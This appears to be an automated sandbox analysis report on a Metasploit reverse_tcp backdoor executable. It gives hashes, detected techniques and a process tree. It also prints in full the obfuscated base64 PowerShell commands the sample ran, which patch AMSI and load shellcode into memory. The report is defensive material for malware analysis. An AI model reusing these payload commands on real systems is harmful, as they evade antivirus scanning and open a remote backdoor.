metasploit | e6cdeecd1d4522ae7cd1dab0322d228c5209cb76e45a8b6d5ec57b2d5ff6497e

Analysis

max time kernel
153s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
16-05-2022 04:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e6cdeecd1d4522ae7cd1dab0322d228c5209cb76e45a8b6d5ec57b2d5ff6497e.exe
Size

129KB
MD5

a6e88ded6626b4bcdf72302efb08f7a7
SHA1

b94ca9879898b781d7e482f1d0acdf96245e0c19
SHA256

e6cdeecd1d4522ae7cd1dab0322d228c5209cb76e45a8b6d5ec57b2d5ff6497e
SHA512

e42838d965a64550cb8477a4899cecfe7f47ebdb5731fe6f7ad3268e047c325322ad31cbe32413a422f2470ceb250420f8547a2bc243aaf6364be37ea6d33a9c

Score

10^/10

metasploit backdoor trojan

Malware Config

Extracted

Family

metasploit

Version

windows/reverse_tcp

192.168.1.104:4443

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

e6cdeecd1d4522ae7cd1dab0322d228c5209cb76e45a8b6d5ec57b2d5ff6497e.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	e6cdeecd1d4522ae7cd1dab0322d228c5209cb76e45a8b6d5ec57b2d5ff6497e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2932	powershell.exe
2932	powershell.exe
2884	powershell.exe
2884	powershell.exe
2212	powershell.exe
2212	powershell.exe
4444	powershell.exe
4444	powershell.exe
4644	powershell.exe
4644	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	4444	powershell.exe
Token: SeDebugPrivilege	4644	powershell.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

e6cdeecd1d4522ae7cd1dab0322d228c5209cb76e45a8b6d5ec57b2d5ff6497e.execmd.exepowershell.exepowershell.execsc.exepowershell.exepowershell.exepowershell.execsc.exe

description	pid	process	target process
PID 64 wrote to memory of 2460	64	e6cdeecd1d4522ae7cd1dab0322d228c5209cb76e45a8b6d5ec57b2d5ff6497e.exe	cmd.exe
PID 64 wrote to memory of 2460	64	e6cdeecd1d4522ae7cd1dab0322d228c5209cb76e45a8b6d5ec57b2d5ff6497e.exe	cmd.exe
PID 2460 wrote to memory of 2932	2460	cmd.exe	powershell.exe
PID 2460 wrote to memory of 2932	2460	cmd.exe	powershell.exe
PID 2932 wrote to memory of 2884	2932	powershell.exe	powershell.exe
PID 2932 wrote to memory of 2884	2932	powershell.exe	powershell.exe
PID 2884 wrote to memory of 5004	2884	powershell.exe	csc.exe
PID 2884 wrote to memory of 5004	2884	powershell.exe	csc.exe
PID 5004 wrote to memory of 3188	5004	csc.exe	cvtres.exe
PID 5004 wrote to memory of 3188	5004	csc.exe	cvtres.exe
PID 2460 wrote to memory of 2212	2460	cmd.exe	powershell.exe
PID 2460 wrote to memory of 2212	2460	cmd.exe	powershell.exe
PID 2212 wrote to memory of 4444	2212	powershell.exe	powershell.exe
PID 2212 wrote to memory of 4444	2212	powershell.exe	powershell.exe
PID 4444 wrote to memory of 4644	4444	powershell.exe	powershell.exe
PID 4444 wrote to memory of 4644	4444	powershell.exe	powershell.exe
PID 4444 wrote to memory of 4644	4444	powershell.exe	powershell.exe
PID 4644 wrote to memory of 2220	4644	powershell.exe	csc.exe
PID 4644 wrote to memory of 2220	4644	powershell.exe	csc.exe
PID 4644 wrote to memory of 2220	4644	powershell.exe	csc.exe
PID 2220 wrote to memory of 3772	2220	csc.exe	cvtres.exe
PID 2220 wrote to memory of 3772	2220	csc.exe	cvtres.exe
PID 2220 wrote to memory of 3772	2220	csc.exe	cvtres.exe

C:\Users\Admin\AppData\Local\Temp\e6cdeecd1d4522ae7cd1dab0322d228c5209cb76e45a8b6d5ec57b2d5ff6497e.exe
"C:\Users\Admin\AppData\Local\Temp\e6cdeecd1d4522ae7cd1dab0322d228c5209cb76e45a8b6d5ec57b2d5ff6497e.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:64

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\699C.tmp\699D.tmp\699E.bat C:\Users\Admin\AppData\Local\Temp\e6cdeecd1d4522ae7cd1dab0322d228c5209cb76e45a8b6d5ec57b2d5ff6497e.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:2460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /w 1 /C "sv hAo -;sv XcN ec;sv GXk ((gv hAo).value.toString()+(gv XcN).value.toString());powershell (gv GXk).value.toString() ('JAB3AGgAVgB1AHoAdABjAEcAUgBHACAAPQAgAEAAIgAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlACIAKwAiAHIAIgArACIAbgBlAGwAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARwBlAHQAUAByAG8AYwBBAGQAZAByAGUAcwBzACgASQBuAHQAUAB0AHIAIABoAE0AbwBkAHUAbABlACwAIABzAHQAcgBpAG4AZwAgAHAAcgBvAGMATgBhAG0AZQApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlACIAKwAiAHIAIgArACIAbgBlAGwAMwAyACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABMAG8AYQBkAEwAaQBiAHIAYQByAHkAKABzAHQAcgBpAG4AZwAgAG4AYQBtAGUAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQAiACsAIgByACIAKwAiAG4AZQBsADMAMgAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwB9AAoAIgBAAAoAQQBkAGQALQBUAHkAcABlACAAJAB3AGgAVgB1AHoAdABjAEcAUgBHADsAJABiAHYAegBqAEoAQwBpAFcAegAgAD0AIABbAFcAaQBuADMAMgBdADoAOgBHAGUAdABQAHIAbwBjAEEAZABkAHIAZQBzAHMAKABbAFcAaQBuADMAMgBdADoAOgBMAG8AYQBkAEwAaQBiAHIAYQByAHkAKAAiAEEAbQBzAGkALgBkAGwAIgArACIAbAAiACsAIgAiACkALAAgACIAQQBtAHMAaQBTACIAKwAiAGMAIgArACIAYQBuAEIAdQBmAGYAZQByACIAKQA7ACQATgBDAFgAcQBLAHkAeQBqACAAPQAgADAAOwBbAFcAaQBuADMAMgBdADoAOgBWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKAAkAGIAdgB6AGoASgBDAGkAVwB6ACwAIABbAHUAaQBuAHQAMwAyAF0AWwB1AGkAbgB0ADMAMgBdADUALAAgADAAeAA0ADAALAAgAFsAcgBlAGYAXQAkAE4AQwBYAHEASwB5AHkAagApADsAJABPAHgAWgBDAEYAbgBOACAAPQAgACgAIgB9AEIAOAAsACAAfQA1ADcALAAgAH0AMAAwACwAIAB9ADAANwAsACAAfQA4ADAALAAgAH0AQwAzACIAKQAuAHIAZQBwAGwAYQBjAGUAKAAiAH0AIgAsACAAIgAwAHgAIgApADsAJABPAHgAWgBDAEYAbgBOACAAPQAgAFsAQgB5AHQAZQBbAF0AXQAoACQATwB4AFoAQwBGAG4ATgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAE8AeABaAEMARgBuAE4ALAAgADAALAAgACQAYgB2AHoAagBKAEMAaQBXAHoALAAgADYAKQA=')"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec JAB3AGgAVgB1AHoAdABjAEcAUgBHACAAPQAgAEAAIgAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlACIAKwAiAHIAIgArACIAbgBlAGwAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARwBlAHQAUAByAG8AYwBBAGQAZAByAGUAcwBzACgASQBuAHQAUAB0AHIAIABoAE0AbwBkAHUAbABlACwAIABzAHQAcgBpAG4AZwAgAHAAcgBvAGMATgBhAG0AZQApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlACIAKwAiAHIAIgArACIAbgBlAGwAMwAyACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABMAG8AYQBkAEwAaQBiAHIAYQByAHkAKABzAHQAcgBpAG4AZwAgAG4AYQBtAGUAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQAiACsAIgByACIAKwAiAG4AZQBsADMAMgAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwB9AAoAIgBAAAoAQQBkAGQALQBUAHkAcABlACAAJAB3AGgAVgB1AHoAdABjAEcAUgBHADsAJABiAHYAegBqAEoAQwBpAFcAegAgAD0AIABbAFcAaQBuADMAMgBdADoAOgBHAGUAdABQAHIAbwBjAEEAZABkAHIAZQBzAHMAKABbAFcAaQBuADMAMgBdADoAOgBMAG8AYQBkAEwAaQBiAHIAYQByAHkAKAAiAEEAbQBzAGkALgBkAGwAIgArACIAbAAiACsAIgAiACkALAAgACIAQQBtAHMAaQBTACIAKwAiAGMAIgArACIAYQBuAEIAdQBmAGYAZQByACIAKQA7ACQATgBDAFgAcQBLAHkAeQBqACAAPQAgADAAOwBbAFcAaQBuADMAMgBdADoAOgBWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKAAkAGIAdgB6AGoASgBDAGkAVwB6ACwAIABbAHUAaQBuAHQAMwAyAF0AWwB1AGkAbgB0ADMAMgBdADUALAAgADAAeAA0ADAALAAgAFsAcgBlAGYAXQAkAE4AQwBYAHEASwB5AHkAagApADsAJABPAHgAWgBDAEYAbgBOACAAPQAgACgAIgB9AEIAOAAsACAAfQA1ADcALAAgAH0AMAAwACwAIAB9ADAANwAsACAAfQA4ADAALAAgAH0AQwAzACIAKQAuAHIAZQBwAGwAYQBjAGUAKAAiAH0AIgAsACAAIgAwAHgAIgApADsAJABPAHgAWgBDAEYAbgBOACAAPQAgAFsAQgB5AHQAZQBbAF0AXQAoACQATwB4AFoAQwBGAG4ATgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAE8AeABaAEMARgBuAE4ALAAgADAALAAgACQAYgB2AHoAagBKAEMAaQBXAHoALAAgADYAKQA=
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2884

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\l22ndnft\l22ndnft.cmdline"
5⤵
- Suspicious use of WriteProcessMemory
PID:5004

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES796B.tmp" "c:\Users\Admin\AppData\Local\Temp\l22ndnft\CSC94AEC44AD8814BD6BABBC6425B61BF.TMP"
6⤵
PID:3188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /w 1 /C "sv hAo -;sv XcN ec;sv GXk ((gv hAo).value.toString()+(gv XcN).value.toString());powershell (gv GXk).value.toString() ('JABRAGcAPQAnACQAQwBRAD0AJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAYwBhAGwAbABvAGMAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawAiACsAIgBlACIAKwAiAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAIgArACIAZQAiACsAIgByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABGAEwARAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAUwByAD0AIgB9AGUAOAAsAH0AOABmACwAfQAwADAALAB9ADAAMAAsAH0AMAAwACwAfQA2ADAALAB9ADgAOQAsAH0AZQA1ACwAfQAzADEALAB9AGQAMgAsAH0ANgA0ACwAfQA4AGIALAB9ADUAMgAsAH0AMwAwACwAfQA4AGIALAB9ADUAMgAsAH0AMABjACwAfQA4AGIALAB9ADUAMgAsAH0AMQA0ACwAfQAzADEALAB9AGYAZgAsAH0AOABiACwAfQA3ADIALAB9ADIAOAAsAH0AMABmACwAfQBiADcALAB9ADQAYQAsAH0AMgA2ACwAfQAzADEALAB9AGMAMAAsAH0AYQBjACwAfQAzAGMALAB9ADYAMQAsAH0ANwBjACwAfQAwADIALAB9ADIAYwAsAH0AMgAwACwAfQBjADEALAB9AGMAZgAsAH0AMABkACwAfQAwADEALAB9AGMANwAsAH0ANAA5ACwAfQA3ADUALAB9AGUAZgAsAH0ANQAyACwAfQA1ADcALAB9ADgAYgAsAH0ANQAyACwAfQAxADAALAB9ADgAYgAsAH0ANAAyACwAfQAzAGMALAB9ADAAMQAsAH0AZAAwACwAfQA4AGIALAB9ADQAMAAsAH0ANwA4ACwAfQA4ADUALAB9AGMAMAAsAH0ANwA0ACwAfQA0AGMALAB9ADAAMQAsAH0AZAAwACwAfQA1ADAALAB9ADgAYgAsAH0ANAA4ACwAfQAxADgALAB9ADgAYgAsAH0ANQA4ACwAfQAyADAALAB9ADAAMQAsAH0AZAAzACwAfQA4ADUALAB9AGMAOQAsAH0ANwA0ACwAfQAzAGMALAB9ADQAOQAsAH0AMwAxACwAfQBmAGYALAB9ADgAYgAsAH0AMwA0ACwAfQA4AGIALAB9ADAAMQAsAH0AZAA2ACwAfQAzADEALAB9AGMAMAAsAH0AYwAxACwAfQBjAGYALAB9ADAAZAAsAH0AYQBjACwAfQAwADEALAB9AGMANwAsAH0AMwA4ACwAfQBlADAALAB9ADcANQAsAH0AZgA0ACwAfQAwADMALAB9ADcAZAAsAH0AZgA4ACwAfQAzAGIALAB9ADcAZAAsAH0AMgA0ACwAfQA3ADUALAB9AGUAMAAsAH0ANQA4ACwAfQA4AGIALAB9ADUAOAAsAH0AMgA0ACwAfQAwADEALAB9AGQAMwAsAH0ANgA2ACwAfQA4AGIALAB9ADAAYwAsAH0ANABiACwAfQA4AGIALAB9ADUAOAAsAH0AMQBjACwAfQAwADEALAB9AGQAMwAsAH0AOABiACwAfQAwADQALAB9ADgAYgAsAH0AMAAxACwAfQBkADAALAB9ADgAOQAsAH0ANAA0ACwAfQAyADQALAB9ADIANAAsAH0ANQBiACwAfQA1AGIALAB9ADYAMQAsAH0ANQA5ACwAfQA1AGEALAB9ADUAMQAsAH0AZgBmACwAfQBlADAALAB9ADUAOAAsAH0ANQBmACwAfQA1AGEALAB9ADgAYgAsAH0AMQAyACwAfQBlADkALAB9ADgAMAAsAH0AZgBmACwAfQBmAGYALAB9AGYAZgAsAH0ANQBkACwAfQA2ADgALAB9ADMAMwAsAH0AMwAyACwAfQAwADAALAB9ADAAMAAsAH0ANgA4ACwAfQA3ADcALAB9ADcAMwAsAH0AMwAyACwAfQA1AGYALAB9ADUANAAsAH0ANgA4ACwAfQA0AGMALAB9ADcANwAsAH0AMgA2ACwAfQAwADcALAB9ADgAOQAsAH0AZQA4ACwAfQBmAGYALAB9AGQAMAAsAH0AYgA4ACwAfQA5ADAALAB9ADAAMQAsAH0AMAAwACwAfQAwADAALAB9ADIAOQAsAH0AYwA0ACwAfQA1ADQALAB9ADUAMAAsAH0ANgA4ACwAfQAyADkALAB9ADgAMAAsAH0ANgBiACwAfQAwADAALAB9AGYAZgAsAH0AZAA1ACwAfQA2AGEALAB9ADAAYQAsAH0ANgA4ACwAfQBjADAALAB9AGEAOAAsAH0AMAAxACwAfQA2ADgALAB9ADYAOAAsAH0AMAAyACwAfQAwADAALAB9ADEAMQAsAH0ANQBiACwAfQA4ADkALAB9AGUANgAsAH0ANQAwACwAfQA1ADAALAB9ADUAMAAsAH0ANQAwACwAfQA0ADAALAB9ADUAMAAsAH0ANAAwACwAfQA1ADAALAB9ADYAOAAsAH0AZQBhACwAfQAwAGYALAB9AGQAZgAsAH0AZQAwACwAfQBmAGYALAB9AGQANQAsAH0AOQA3ACwAfQA2AGEALAB9ADEAMAAsAH0ANQA2ACwAfQA1ADcALAB9ADYAOAAsAH0AOQA5ACwAfQBhADUALAB9ADcANAAsAH0ANgAxACwAfQBmAGYALAB9AGQANQAsAH0AOAA1ACwAfQBjADAALAB9ADcANAAsAH0AMABhACwAfQBmAGYALAB9ADQAZQAsAH0AMAA4ACwAfQA3ADUALAB9AGUAYwAsAH0AZQA4ACwAfQA2ADcALAB9ADAAMAAsAH0AMAAwACwAfQAwADAALAB9ADYAYQAsAH0AMAAwACwAfQA2AGEALAB9ADAANAAsAH0ANQA2ACwAfQA1ADcALAB9ADYAOAAsAH0AMAAyACwAfQBkADkALAB9AGMAOAAsAH0ANQBmACwAfQBmAGYALAB9AGQANQAsAH0AOAAzACwAfQBmADgALAB9ADAAMAAsAH0ANwBlACwAfQAzADYALAB9ADgAYgAsAH0AMwA2ACwAfQA2AGEALAB9ADQAMAAsA'+'H0ANgA4ACwAfQAwADAALAB9ADEAMAAsAH0AMAAwACwAfQAwADAALAB9ADUANgAsAH0ANgBhACwAfQAwADAALAB9ADYAOAAsAH0ANQA4ACwAfQBhADQALAB9ADUAMwAsAH0AZQA1ACwAfQBmAGYALAB9AGQANQAsAH0AOQAzACwAfQA1ADMALAB9ADYAYQAsAH0AMAAwACwAfQA1ADYALAB9ADUAMwAsAH0ANQA3ACwAfQA2ADgALAB9ADAAMgAsAH0AZAA5ACwAfQBjADgALAB9ADUAZgAsAH0AZgBmACwAfQBkADUALAB9ADgAMwAsAH0AZgA4ACwAfQAwADAALAB9ADcAZAAsAH0AMgA4ACwAfQA1ADgALAB9ADYAOAAsAH0AMAAwACwAfQA0ADAALAB9ADAAMAAsAH0AMAAwACwAfQA2AGEALAB9ADAAMAAsAH0ANQAwACwAfQA2ADgALAB9ADAAYgAsAH0AMgBmACwAfQAwAGYALAB9ADMAMAAsAH0AZgBmACwAfQBkADUALAB9ADUANwAsAH0ANgA4ACwAfQA3ADUALAB9ADYAZQAsAH0ANABkACwAfQA2ADEALAB9AGYAZgAsAH0AZAA1ACwAfQA1AGUALAB9ADUAZQAsAH0AZgBmACwAfQAwAGMALAB9ADIANAAsAH0AMABmACwAfQA4ADUALAB9ADcAMAAsAH0AZgBmACwAfQBmAGYALAB9AGYAZgAsAH0AZQA5ACwAfQA5AGIALAB9AGYAZgAsAH0AZgBmACwAfQBmAGYALAB9ADAAMQAsAH0AYwAzACwAfQAyADkALAB9AGMANgAsAH0ANwA1ACwAfQBjADEALAB9AGMAMwAsAH0AYgBiACwAfQBmADAALAB9AGIANQAsAH0AYQAyACwAfQA1ADYALAB9ADYAYQAsAH0AMAAwACwAfQA1ADMALAB9AGYAZgAsAH0AZAA1ACIAOwAkAEoAaAA9AEEAZABkAC0AVAB5AHAAZQAgAC0AcABhAHMAcwAgAC0AbQAgACQAQwBRACAALQBOAGEAbQBlACAAIgBPAEMAIgAgAC0AbgBhAG0AZQBzACAAdABKAFEAOwAkAEoAaAA9ACQASgBoAC4AcgBlAHAAbABhAGMAZQAoACIAdABKAFEAIgAsACAAIgBXAGkAbgAzADIARgB1AG4AYwB0AGkAbwAiACsAIgBuACIAKwAiAHMAIgApADsAWwBiAHkAdABlAFsAXQBdACQAUwByACAAPQAgACQAUwByAC4AcgBlAHAAbABhAGMAZQAoACIAfQAiACwAIgBjAHMAWQBkAHgAIgApAC4AcgBlAHAAbABhAGMAZQAoACIAYwBzAFkAZAAiACwAIAAiADAAIgApAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACQAZQBuAD0AMAB4ADEAMAAwADIAOwBpAGYAIAAoACQAUwByAC4ATAAgAC0AZwB0ACAAMAB4ADEAMAAwADIAKQB7ACQAZQBuAD0AJABTAHIALgBMAH0AOwAkAEIAdQA9ACQASgBoADoAOgBjAGEAbABsAG8AYwAoADAAeAAxADAAMAAyACwAIAAxACkAOwBbAFUASQBuAHQANgA0AF0AJABGAEwARAAgAD0AIAAwADsAZgBvAHIAKAAkAEIAcAA9ADAAOwAkAEIAcAAgAC0AbABlACgAJABTAHIALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAQgBwACsAKwApAHsAJABKAGgAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABCAHUALgBUAG8ASQBuAHQAMwAyACgAKQArACQAQgBwACkALAAgACQAUwByAFsAJABCAHAAXQAsACAAMQApAH0AOwAkAEoAaAA6ADoAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgAJABCAHUALAAgADAAeAAxADAAMAAyACwAIAAwAHgANAAwACwAIABbAFIAZQBmAF0AJABGAEwARAApADsAJABsAGUAVwA9AFsAaQBuAHQAXQAwAHgAMAAwADsAJABKAGgAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAWwB1AGkAbgB0ADMAMgBdAFsAaQBuAHQAXQAwACwAJABsAGUAVwAsACQAQgB1ACwAMAAsADAALAAwACkAOwAnADsAJABHAGgAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAFEAZwApACkAOwAkAGEAYgA9ACIAcABvAHcAZQByAHMAaABlAGwAbAAiADsAJABTAEYAPQAiAFcAaQBuAGQAbwB3AHMAIgA7ACQAZAB1AE0AIAA9ACAAIgBDADoAXAAkAFMARgBcAHQAdAB3AFgARgBSAE4ASABcACQAUwBGACQAYQBiAFwAdgAxAC4AMABcACQAYQBiACIAOwAkAGQAdQBNACAAPQAgACQAZAB1AE0ALgByAGUAcABsAGEAYwBlACgAIgB0AHQAdwBYACIALAAgACIAcwB5AHMAIgApADsAJABkAHUATQAgAD0AIAAkAGQAdQBNAC4AcgBlAHAAbABhAGMAZQAoACIARgBSAE4ASAAiACwAIAAiAHcAbwB3ADYANAAiACkAOwAkAEwAVgB2ACAAPQAgACcAVAByAHUAIgArACIAZQAiACsAIgAnADsAaQBmACgAWwBlAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoASQBzADYANABCAGkAdABPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQAgAC0AZQBxACAAJwAkAEwAVgB2ACcAKQB7ACQAYQBiAD0AIAAkAGQAdQBNAH0AOwAkAHcAWgA9ACIAIAAkAGEAYgAgAHUAaABFACAAJABHAGgAIgA7ACQAdwBaAD0AJAB3AFoALgByAGUAcABsAGEAYwBlACgAIgB1AGgARQAiACwAIAAiAC0AbgBvAGUAeABpAHQAIAAtAGUAIgApADsAaQBlAHgAIAAkAHcAWgA=')"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec 